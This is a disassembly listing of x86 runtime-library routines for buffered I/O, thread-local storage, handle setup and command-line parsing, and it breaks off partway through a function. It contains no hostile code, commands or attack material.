mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] mov [ebx+18h], eax mov eax, [ebx+8] mov [ebx+30h], eax or word ptr [ebx], 200h or eax, 0FFFFFFFFh jmp short loc_449CF1 ; --------------------------------------------------------------------------- loc_449CC4: ; CODE XREF: sub_449C21+85j add esi, edi loc_449CC6: ; CODE XREF: sub_449C21+6Cj cmp esi, [ebx+10h] jb short loc_449C8F mov eax, [ebx+8] mov [ebx+10h], eax test word ptr [ebx], 0C00h jz short loc_449CDD mov esi, [ebx+8] jmp short loc_449CE0 ; --------------------------------------------------------------------------- loc_449CDD: ; CODE XREF: sub_449C21+B5j mov esi, [ebx+0Ch] loc_449CE0: ; CODE XREF: sub_449C21+BAj test word ptr [ebx], 4000h jz short loc_449CEC mov [ebx+18h], esi jmp short loc_449CEF ; --------------------------------------------------------------------------- loc_449CEC: ; CODE XREF: sub_449C21+C4j mov [ebx+30h], esi loc_449CEF: ; CODE XREF: sub_449C21+C9j xor eax, eax loc_449CF1: ; CODE XREF: sub_449C21+5Cj ; sub_449C21+67j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_449C21 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449D01 proc near ; CODE XREF: sub_449DA1+41p ; sub_44C861+328p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx push esi mov ebx, [ebp+arg_0] push ebx call sub_44BAE1 pop ecx cmp eax, 0FFFFFFFFh jz short loc_449D50 cmp ebx, 1 jz short loc_449D24 cmp ebx, 2 jnz short loc_449D3E loc_449D24: ; CODE XREF: sub_449D01+1Cj push 1 call sub_44BAE1 pop ecx mov [ebp+var_4], eax push 2 call sub_44BAE1 pop ecx mov edx, [ebp+var_4] cmp edx, eax jz short loc_449D50 loc_449D3E: ; CODE XREF: sub_449D01+21j push ebx call sub_44BAE1 pop ecx push eax call dword_411CF8 ; CloseHandle test eax, eax jz short loc_449D54 loc_449D50: ; CODE XREF: sub_449D01+17j ; sub_449D01+3Bj xor esi, esi jmp short loc_449D5C ; --------------------------------------------------------------------------- loc_449D54: ; CODE XREF: sub_449D01+4Dj call dword_411CE8 ; RtlGetLastWin32Error mov esi, eax loc_449D5C: ; CODE XREF: sub_449D01+51j push ebx call sub_44B991 pop ecx mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov byte ptr [edx+eax+4], 0 test esi, esi jz short loc_449D8C push esi call sub_4491C1 pop ecx or eax, 0FFFFFFFFh jmp short loc_449D8E ; --------------------------------------------------------------------------- loc_449D8C: ; CODE XREF: sub_449D01+7Dj xor eax, eax loc_449D8E: ; CODE XREF: sub_449D01+89j pop esi pop ebx mov esp, ebp pop ebp retn sub_449D01 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449DA1 proc near ; CODE XREF: sub_448401+30p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] cmp ebx, dword_413A88 jnb short loc_449DCA mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_449DDA loc_449DCA: ; CODE XREF: sub_449DA1+Cj call sub_449321 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_449DF3 ; --------------------------------------------------------------------------- loc_449DDA: ; CODE XREF: sub_449DA1+27j push ebx call sub_44BC01 pop ecx push ebx call sub_449D01 pop ecx mov esi, eax push ebx call sub_44BC61 pop ecx mov eax, esi loc_449DF3: ; CODE XREF: sub_449DA1+37j pop esi pop ebx retn sub_449DA1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449E01 proc near ; CODE XREF: sub_448641+39p ; sub_449761+102p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [esp+arg_4] mov dl, al jmp short loc_449E16 ; --------------------------------------------------------------------------- loc_449E0D: ; CODE XREF: sub_449E01+17j cmp byte ptr [ecx], 0 jnz short loc_449E15 xor eax, eax retn ; --------------------------------------------------------------------------- loc_449E15: ; CODE XREF: sub_449E01+Fj inc ecx loc_449E16: ; CODE XREF: sub_449E01+Aj cmp [ecx], dl jnz short loc_449E0D mov eax, ecx retn sub_449E01 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449E21 proc near ; CODE XREF: sub_4486E1+3Dp ; sub_44DD81+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+18h] cmp eax, [ebx+10h] jbe short loc_449E3A xor eax, eax jmp loc_449F13 ; --------------------------------------------------------------------------- loc_449E3A: ; CODE XREF: sub_449E21+10j movzx eax, word ptr [ebx] and eax, 9002h cmp eax, 2 jz short loc_449E76 movzx eax, word ptr [ebx] mov [ebp+var_4], eax test eax, 8000h setnz al and eax, 1 dec eax and eax, 4000h add eax, 200h mov edx, [ebp+var_4] or edx, eax mov ax, dx mov [ebx], ax or eax, 0FFFFFFFFh jmp loc_449F13 ; --------------------------------------------------------------------------- loc_449E76: ; CODE XREF: sub_449E21+24j movzx eax, word ptr [ebx] and eax, 6000h cmp eax, 6000h jnz short loc_449E9D mov eax, [ebx+0Ch] cmp eax, [ebx+10h] ja short loc_449E9D push ebx call sub_449C21 pop ecx test eax, eax jz short loc_449E9D or eax, 0FFFFFFFFh jmp short loc_449F13 ; --------------------------------------------------------------------------- loc_449E9D: ; CODE XREF: sub_449E21+62j ; sub_449E21+6Aj ... test word ptr [ebx], 0C00h jnz short loc_449EAC lea eax, [ebx+48h] cmp eax, [ebx+8] jz short loc_449EAE loc_449EAC: ; CODE XREF: sub_449E21+81j jmp short loc_449F00 ; --------------------------------------------------------------------------- loc_449EAE: ; CODE XREF: sub_449E21+89j push 200h call sub_449121 pop ecx mov [ebx+8], eax test eax, eax jnz short loc_449EDA lea eax, [ebx+48h] mov [ebx+8], eax mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] inc eax mov [ebx+0Ch], eax call sub_448381 jmp short loc_449F00 ; --------------------------------------------------------------------------- loc_449EDA: ; CODE XREF: sub_449E21+9Dj or word ptr [ebx], 40h mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] add eax, 200h mov [ebx+0Ch], eax mov eax, [ebx+8] mov [ebx+2Ch], eax mov eax, [ebx+8] mov [ebx+30h], eax call sub_448381 loc_449F00: ; CODE XREF: sub_449E21:loc_449EACj ; sub_449E21+B7j mov eax, [ebx+8] mov [ebx+14h], eax mov eax, [ebx+0Ch] mov [ebx+18h], eax or word ptr [ebx], 6000h xor eax, eax loc_449F13: ; CODE XREF: sub_449E21+14j ; sub_449E21+50j ... pop ebx mov esp, ebp pop ebp retn sub_449E21 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449F21 proc near ; CODE XREF: sub_4486E1+59p ; sub_44ABB1+696p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] mov bl, al mov edx, [esp+4+arg_0] jmp short loc_449F3C ; --------------------------------------------------------------------------- loc_449F32: ; CODE XREF: sub_449F21+1Dj cmp [edx], bl jnz short loc_449F3A mov eax, edx jmp short loc_449F42 ; --------------------------------------------------------------------------- loc_449F3A: ; CODE XREF: sub_449F21+13j inc edx dec ecx loc_449F3C: ; CODE XREF: sub_449F21+Fj test ecx, ecx jnz short loc_449F32 xor eax, eax loc_449F42: ; CODE XREF: sub_449F21+17j pop ebx retn sub_449F21 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449F51 proc near ; CODE XREF: DMN1:loc_448A68p push ebx call sub_449621 call dword_411DD4 ; TlsAlloc mov dword_411770, eax cmp eax, 0FFFFFFFFh jnz short loc_449F6D xor eax, eax jmp short loc_449FA8 ; --------------------------------------------------------------------------- loc_449F6D: ; CODE XREF: sub_449F51+16j push 48h call sub_449121 pop ecx mov ebx, eax test eax, eax jz short loc_449F8C push ebx mov eax, dword_411770 push eax call dword_411D98 ; TlsSetValue test eax, eax jnz short loc_449F90 loc_449F8C: ; CODE XREF: sub_449F51+28j xor eax, eax jmp short loc_449FA8 ; --------------------------------------------------------------------------- loc_449F90: ; CODE XREF: sub_449F51+39j push ebx call sub_449FE1 pop ecx call dword_411DD8 ; GetCurrentThreadId mov [ebx], eax or dword ptr [ebx+4], 0FFFFFFFFh mov eax, 1 loc_449FA8: ; CODE XREF: sub_449F51+1Aj ; sub_449F51+3Dj pop ebx retn sub_449F51 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- call sub_449661 cmp dword_411770, 0FFFFFFFFh jz short locret_449FD5 mov eax, dword_411770 push eax call dword_411DDC ; TlsFree or dword_411770, 0FFFFFFFFh locret_449FD5: ; CODE XREF: DMN1:00449FC0j retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449FE1 proc near ; CODE XREF: sub_448891+17p ; sub_449F51+40p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] mov edx, ebx mov ecx, 48h xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx mov dword ptr [ebx+34h], offset dword_4117E4 mov dword ptr [ebx+10h], 1 pop ebx retn sub_449FE1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A011 proc near ; CODE XREF: sub_448921+1p sub_449321p ... push ebx push esi call dword_411CE8 ; RtlGetLastWin32Error mov esi, eax mov eax, dword_411770 push eax call dword_411DE0 ; TlsGetValue mov ebx, eax test eax, eax jnz short loc_44A069 push 48h call sub_449121 pop ecx mov ebx, eax test eax, eax jz short loc_44A061 push ebx mov eax, dword_411770 push eax call dword_411D98 ; TlsSetValue test eax, eax jz short loc_44A061 push ebx call sub_449FE1 pop ecx call dword_411DD8 ; GetCurrentThreadId mov [ebx], eax or dword ptr [ebx+4], 0FFFFFFFFh jmp short loc_44A069 ; --------------------------------------------------------------------------- loc_44A061: ; CODE XREF: sub_44A011+28j ; sub_44A011+39j push 1 call sub_44A111 pop ecx loc_44A069: ; CODE XREF: sub_44A011+1Aj ; sub_44A011+4Ej push esi call dword_411D14 ; RtlRestoreLastWin32Error mov eax, ebx pop esi pop ebx retn sub_44A011 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A081 proc near ; CODE XREF: sub_448921+28p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp dword_411770, 0FFFFFFFFh jz short loc_44A10D test ebx, ebx jnz short loc_44A0A4 mov eax, dword_411770 push eax call dword_411DE0 ; TlsGetValue mov ebx, eax loc_44A0A4: ; CODE XREF: sub_44A081+13j test ebx, ebx jz short loc_44A0FF mov eax, [ebx+20h] push eax call sub_448071 pop ecx mov eax, [ebx+24h] push eax call sub_448071 pop ecx mov eax, [ebx+28h] push eax call sub_448071 pop ecx mov eax, [ebx+2Ch] push eax call sub_448071 pop ecx mov eax, [ebx+30h] push eax call sub_448071 pop ecx mov eax, [ebx+34h] cmp eax, offset dword_4117E4 jz short loc_44A0EE mov eax, [ebx+34h] push eax call sub_448071 pop ecx loc_44A0EE: ; CODE XREF: sub_44A081+61j mov eax, [ebx+3Ch] push eax call sub_448071 pop ecx push ebx call sub_448071 pop ecx loc_44A0FF: ; CODE XREF: sub_44A081+25j push 0 mov eax, dword_411770 push eax call dword_411D98 ; TlsSetValue loc_44A10D: ; CODE XREF: sub_44A081+Fj pop ebx retn sub_44A081 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= sub_44A111 proc near ; CODE XREF: DMN1:0044882Dp ; DMN1:0044886Bp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call dword_411D30 ; ExitProcess retn sub_44A111 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= sub_44A121 proc near ; CODE XREF: DMN1:0044885Bp ; DMN1:00448B18p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov esi, offset dword_411774 jmp short loc_44A173 ; --------------------------------------------------------------------------- loc_44A12F: ; CODE XREF: sub_44A121+58j cmp [esi], ebx jnz short loc_44A170 push 1 mov eax, [esi+4] push eax call sub_44BCD1 add esp, 8 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_44A14F test edi, edi jnz short loc_44A151 loc_44A14F: ; CODE XREF: sub_44A121+28j jmp short loc_44A17B ; --------------------------------------------------------------------------- loc_44A151: ; CODE XREF: sub_44A121+2Cj cmp edi, 1 jz short loc_44A16B push 0 mov eax, [esi+4] push eax call sub_44BCD1 add esp, 8 mov eax, [esi+4] push eax call edi pop ecx loc_44A16B: ; CODE XREF: sub_44A121+33j or eax, 0FFFFFFFFh jmp short loc_44A186 ; --------------------------------------------------------------------------- loc_44A170: ; CODE XREF: sub_44A121+10j add esi, 8 loc_44A173: ; CODE XREF: sub_44A121+Cj cmp esi, offset dword_4117C4 jb short loc_44A12F loc_44A17B: ; CODE XREF: sub_44A121:loc_44A14Fj mov eax, [esp+0Ch+arg_4] push eax call dword_411DE4 ; UnhandledExceptionFilter loc_44A186: ; CODE XREF: sub_44A121+4Dj pop edi pop esi pop ebx retn sub_44A121 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A191 proc near ; CODE XREF: sub_448A11+5p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call dword_411D18 ; DeleteFileA test eax, eax jnz short loc_44A1B1 call dword_411CE8 ; RtlGetLastWin32Error push eax call sub_4491C1 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_44A1B1: ; CODE XREF: sub_44A191+Dj xor eax, eax retn sub_44A191 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A1C1 proc near ; CODE XREF: DMN1:00448A80p push offset dword_412854 call dword_411DE8 ; GetSystemTimeAsFileTime retn sub_44A1C1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push ebx lea eax, [ebp-8] push eax call dword_411DE8 ; GetSystemTimeAsFileTime mov eax, [ebp-8] mov edx, [ebp-4] mov ecx, dword_412854 mov ebx, dword_412858 sub eax, ecx sbb edx, ebx mov [ebp-8], eax mov [ebp-4], edx mov eax, [ebp-8] mov edx, [ebp-4] push edx push eax push 0 push 2710h call sub_44BDC1 pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A221 proc near ; CODE XREF: DMN1:00448A85p var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_26 = word ptr -26h var_24 = dword ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi push 480h call sub_449121 pop ecx mov ebx, eax test eax, eax jnz short loc_44A243 push 1 call sub_44A111 pop ecx loc_44A243: ; CODE XREF: sub_44A221+18j mov dword_413988, ebx mov dword_413A88, 20h jmp short loc_44A26D ; --------------------------------------------------------------------------- loc_44A255: ; CODE XREF: sub_44A221+58j mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_44A26D: ; CODE XREF: sub_44A221+32j mov eax, dword_413988 add eax, 480h cmp ebx, eax jb short loc_44A255 lea eax, [ebp+var_58] push eax call dword_411DA8 ; GetStartupInfoA cmp [ebp+var_26], 0 jz loc_44A393 cmp [ebp+var_24], 0 jz loc_44A393 mov eax, [ebp+var_24] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_24] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+var_10] mov edx, [ebp+var_4] add edx, eax mov [ebp+var_8], edx cmp eax, 800h jle short loc_44A2C4 mov [ebp+var_10], 800h loc_44A2C4: ; CODE XREF: sub_44A221+9Aj mov esi, 1 jmp short loc_44A31F ; --------------------------------------------------------------------------- loc_44A2CB: ; CODE XREF: sub_44A221+107j push 480h call sub_449121 pop ecx mov ebx, eax test eax, eax jnz short loc_44A2E6 mov eax, dword_413A88 mov [ebp+var_10], eax jmp short loc_44A32A ; --------------------------------------------------------------------------- loc_44A2E6: ; CODE XREF: sub_44A221+B9j mov dword_413988[esi*4], ebx add dword_413A88, 20h jmp short loc_44A30E ; --------------------------------------------------------------------------- loc_44A2F6: ; CODE XREF: sub_44A221+FBj mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_44A30E: ; CODE XREF: sub_44A221+D3j mov eax, dword_413988[esi*4] add eax, 480h cmp ebx, eax jb short loc_44A2F6 inc esi loc_44A31F: ; CODE XREF: sub_44A221+A8j mov eax, [ebp+var_10] cmp dword_413A88, eax jl short loc_44A2CB loc_44A32A: ; CODE XREF: sub_44A221+C3j xor edi, edi jmp short loc_44A38E ; --------------------------------------------------------------------------- loc_44A32E: ; CODE XREF: sub_44A221+170j mov eax, [ebp+var_8] mov eax, [eax] cmp eax, 0FFFFFFFFh jz short loc_44A381 mov edx, [ebp+var_4] movzx edx, byte ptr [edx] test edx, 1 jz short loc_44A381 test edx, 8 jnz short loc_44A35B push eax call dword_411DEC ; GetFileType test eax, eax jz short loc_44A381 loc_44A35B: ; CODE XREF: sub_44A221+12Dj mov eax, edi and eax, 1Fh imul eax, 24h mov edx, edi sar edx, 5 mov edx, dword_413988[edx*4] lea ebx, [edx+eax] mov eax, [ebp+var_8] mov eax, [eax] mov [ebx], eax mov eax, [ebp+var_4] mov al, [eax] mov [ebx+4], al loc_44A381: ; CODE XREF: sub_44A221+117j ; sub_44A221+125j ... inc edi inc [ebp+var_4] mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_44A38E: ; CODE XREF: sub_44A221+10Bj cmp edi, [ebp+var_10] jl short loc_44A32E loc_44A393: ; CODE XREF: sub_44A221+69j ; sub_44A221+73j xor edi, edi loc_44A395: ; CODE XREF: sub_44A221+23Ej imul eax, edi, 24h mov edx, dword_413988 lea ebx, [edx+eax] cmp dword ptr [ebx], 0FFFFFFFFh jnz loc_44A457 mov byte ptr [ebx+4], 81h test edi, edi jnz short loc_44A3BE mov [ebp+var_5C], 0FFFFFFF6h jmp short loc_44A3CF ; --------------------------------------------------------------------------- loc_44A3BE: ; CODE XREF: sub_44A221+192j cmp edi, 1 setz al and eax, 1 add eax, 0FFFFFFF4h mov [ebp+var_5C], eax loc_44A3CF: ; CODE XREF: sub_44A221+19Bj mov eax, [ebp+var_5C] push eax call dword_411CD4 ; GetStdHandle mov [ebp+var_C], eax cmp eax, 0FFFFFFFFh jz short loc_44A451 mov eax, [ebp+var_C] push eax call dword_411DEC ; GetFileType mov [ebp+var_14], eax test eax, eax jz short loc_44A451 call dword_411D64 ; GetCurrentProcess mov [ebp+var_64], eax call dword_411D64 ; GetCurrentProcess push 2 push 1 push 0 lea edx, [ebp+var_60] push edx push eax mov eax, [ebp+var_C] push eax mov eax, [ebp+var_64] push eax call dword_411DF0 ; DuplicateHandle test eax, eax jz short loc_44A426 mov eax, [ebp+var_60] mov [ebp+var_C], eax loc_44A426: ; CODE XREF: sub_44A221+1FDj mov eax, [ebp+var_C] mov [ebx], eax mov eax, [ebp+var_14] and eax, 0FFh cmp eax, 2 jnz short loc_44A43E or byte ptr [ebx+4], 40h jmp short loc_44A45B ; --------------------------------------------------------------------------- loc_44A43E: ; CODE XREF: sub_44A221+215j mov eax, [ebp+var_14] and eax, 0FFh cmp eax, 3 jnz short loc_44A45B or byte ptr [ebx+4], 8 jmp short loc_44A45B ; --------------------------------------------------------------------------- loc_44A451: ; CODE XREF: sub_44A221+1C0j ; sub_44A221+1D1j or byte ptr [ebx+4], 40h jmp short loc_44A45B ; --------------------------------------------------------------------------- loc_44A457: ; CODE XREF: sub_44A221+186j or byte ptr [ebx+4], 80h loc_44A45B: ; CODE XREF: sub_44A221+21Bj ; sub_44A221+228j ... inc edi cmp edi, 3 jl loc_44A395 mov eax, dword_413A88 push eax call dword_411DF4 ; LockResource pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44A221 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push esi xor ebx, ebx loc_44A485: ; CODE XREF: DMN1:0044A4D8j cmp dword_413988[ebx*4], 0 jz short loc_44A4D4 mov esi, dword_413988[ebx*4] jmp short loc_44A4AB ; --------------------------------------------------------------------------- loc_44A498: ; CODE XREF: DMN1:0044A4B9j cmp dword ptr [esi+8], 0 jz short loc_44A4A8 lea eax, [esi+0Ch] push eax call dword_411DCC ; RtlDeleteCriticalSection loc_44A4A8: ; CODE XREF: DMN1:0044A49Cj add esi, 24h loc_44A4AB: ; CODE XREF: DMN1:0044A496j mov eax, dword_413988[ebx*4] add eax, 480h cmp esi, eax jb short loc_44A498 mov eax, dword_413988[ebx*4] push eax call sub_448071 pop ecx mov dword_413988[ebx*4], 0 loc_44A4D4: ; CODE XREF: DMN1:0044A48Dj inc ebx cmp ebx, 40h jl short loc_44A485 pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A4E1 proc near ; CODE XREF: sub_44A691+3Fp ; sub_44A691+76p var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push ebx push edi mov ecx, [ebp+arg_8] mov edx, [ebp+arg_10] mov dword ptr [edx], 0 mov edx, [ebp+arg_C] mov dword ptr [edx], 1 mov ebx, [ebp+arg_0] cmp [ebp+arg_4], 0 jz short loc_44A512 mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov [eax], ecx loc_44A512: ; CODE XREF: sub_44A4E1+24j cmp byte ptr [ebx], 22h jnz short loc_44A54D jmp short loc_44A529 ; --------------------------------------------------------------------------- loc_44A519: ; CODE XREF: sub_44A4E1+53j test ecx, ecx jz short loc_44A524 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_44A524: ; CODE XREF: sub_44A4E1+3Aj mov eax, [ebp+arg_10] inc dword ptr [eax] loc_44A529: ; CODE XREF: sub_44A4E1+36j inc ebx mov eax, ebx cmp byte ptr [eax], 22h jz short loc_44A536 cmp byte ptr [ebx], 0 jnz short loc_44A519 loc_44A536: ; CODE XREF: sub_44A4E1+4Ej test ecx, ecx jz short loc_44A540 mov eax, ecx inc ecx mov byte ptr [eax], 0 loc_44A540: ; CODE XREF: sub_44A4E1+57j mov eax, [ebp+arg_10] inc dword ptr [eax] cmp byte ptr [ebx], 22h jnz short loc_44A585 inc ebx jmp short loc_44A585 ; --------------------------------------------------------------------------- loc_44A54D: ; CODE XREF: sub_44A4E1+34j ; sub_44A4E1+91j test ecx, ecx jz short loc_44A558 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_44A558: ; CODE XREF: sub_44A4E1+6Ej mov eax, [ebp+arg_10] inc dword ptr [eax] mov eax, ebx inc ebx mov al, [eax] mov [ebp+var_9], al mov al, [ebp+var_9] cmp al, 20h jz short loc_44A574 test al, al jz short loc_44A574 cmp al, 9 jnz short loc_44A54D loc_44A574: ; CODE XREF: sub_44A4E1+89j ; sub_44A4E1+8Dj cmp [ebp+var_9], 0 jnz short loc_44A57D dec ebx jmp short loc_44A585 ; --------------------------------------------------------------------------- loc_44A57D: ; CODE XREF: sub_44A4E1+97j test ecx, ecx jz short loc_44A585 mov byte ptr [ecx-1], 0 loc_44A585: ; CODE XREF: sub_44A4E1+67j ; sub_44A4E1+6Aj ... mov [ebp+var_8], 0 loc_44A58C: ; CODE XREF: sub_44A4E1+181j cmp byte ptr [ebx], 0 jz short loc_44A59E jmp short loc_44A594 ; --------------------------------------------------------------------------- loc_44A593: ; CODE XREF: sub_44A4E1+B7j ; sub_44A4E1+BBj inc ebx loc_44A594: ; CODE XREF: sub_44A4E1+B0j mov al, [ebx] cmp al, 20h jz short loc_44A593 cmp al, 9 jz short loc_44A593 loc_44A59E: ; CODE XREF: sub_44A4E1+AEj cmp byte ptr [ebx], 0 jz loc_44A667 cmp [ebp+arg_4], 0 jz short loc_44A5B8 mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov [eax], ecx loc_44A5B8: ; CODE XREF: sub_44A4E1+CAj mov eax, [ebp+arg_C] inc dword ptr [eax] loc_44A5BD: ; CODE XREF: sub_44A4E1+16Dj mov [ebp+var_4], 1 xor edi, edi jmp short loc_44A5CA ; --------------------------------------------------------------------------- loc_44A5C8: ; CODE XREF: sub_44A4E1+ECj inc ebx inc edi loc_44A5CA: ; CODE XREF: sub_44A4E1+E5j cmp byte ptr [ebx], 5Ch jz short loc_44A5C8 cmp byte ptr [ebx], 22h jnz short loc_44A61A test edi, 1 jnz short loc_44A607 cmp [ebp+var_8], 0 jz short loc_44A5F4 cmp byte ptr [ebx+1], 22h jnz short loc_44A5EB inc ebx jmp short loc_44A5FB ; --------------------------------------------------------------------------- loc_44A5EB: ; CODE XREF: sub_44A4E1+105j mov [ebp+var_4], 0 jmp short loc_44A5FB ; --------------------------------------------------------------------------- loc_44A5F4: ; CODE XREF: sub_44A4E1+FFj mov [ebp+var_4], 0 loc_44A5FB: ; CODE XREF: sub_44A4E1+108j ; sub_44A4E1+111j xor eax, eax cmp [ebp+var_8], 0 setz al mov [ebp+var_8], eax loc_44A607: ; CODE XREF: sub_44A4E1+F9j shr edi, 1 jmp short loc_44A61A ; --------------------------------------------------------------------------- loc_44A60B: ; CODE XREF: sub_44A4E1+13Ej test ecx, ecx jz short loc_44A615 mov eax, ecx inc ecx mov byte ptr [eax], 5Ch loc_44A615: ; CODE XREF: sub_44A4E1+12Cj mov eax, [ebp+arg_10] inc dword ptr [eax] loc_44A61A: ; CODE XREF: sub_44A4E1+F1j ; sub_44A4E1+128j mov eax, edi dec edi test eax, eax jnz short loc_44A60B mov al, [ebx] test al, al jz short loc_44A635 cmp [ebp+var_8], 0 jnz short loc_44A637 cmp al, 20h jz short loc_44A635 cmp al, 9 jnz short loc_44A637 loc_44A635: ; CODE XREF: sub_44A4E1+144j ; sub_44A4E1+14Ej jmp short loc_44A653 ; --------------------------------------------------------------------------- loc_44A637: ; CODE XREF: sub_44A4E1+14Aj ; sub_44A4E1+152j cmp [ebp+var_4], 0 jz short loc_44A64D test ecx, ecx jz short loc_44A648 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_44A648: ; CODE XREF: sub_44A4E1+15Ej mov eax, [ebp+arg_10] inc dword ptr [eax] loc_44A64D: ; CODE XREF: sub_44A4E1+15Aj inc ebx jmp loc_44A5BD ; --------------------------------------------------------------------------- loc_44A653: ; CODE XREF: sub_44A4E1:loc_44A635j test ecx, ecx jz short loc_44A65D mov eax, ecx inc ecx mov byte ptr [eax], 0 loc_44A65D: ; CODE XREF: sub_44A4E1+174j mov eax, [ebp+arg_10] inc dword ptr [eax] jmp loc_44A58C ; --------------------------------------------------------------------------- loc_44A667: ; CODE XREF: sub_44A4E1+C0j cmp [ebp+arg_4], 0 jz short loc_44A67C mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov dword ptr [eax], 0 loc_44A67C: ; CODE XREF: sub_44A4E1+18Aj mov eax, [ebp+arg_C] inc dword ptr [eax] pop edi pop ebx mov esp, ebp pop ebp retn sub_44A4E1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A691 proc near ; CODE XREF: DMN1:00448A8Ap var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi call dword_411D90 ; GetCommandLineA mov esi, eax cmp byte ptr [esi], 0 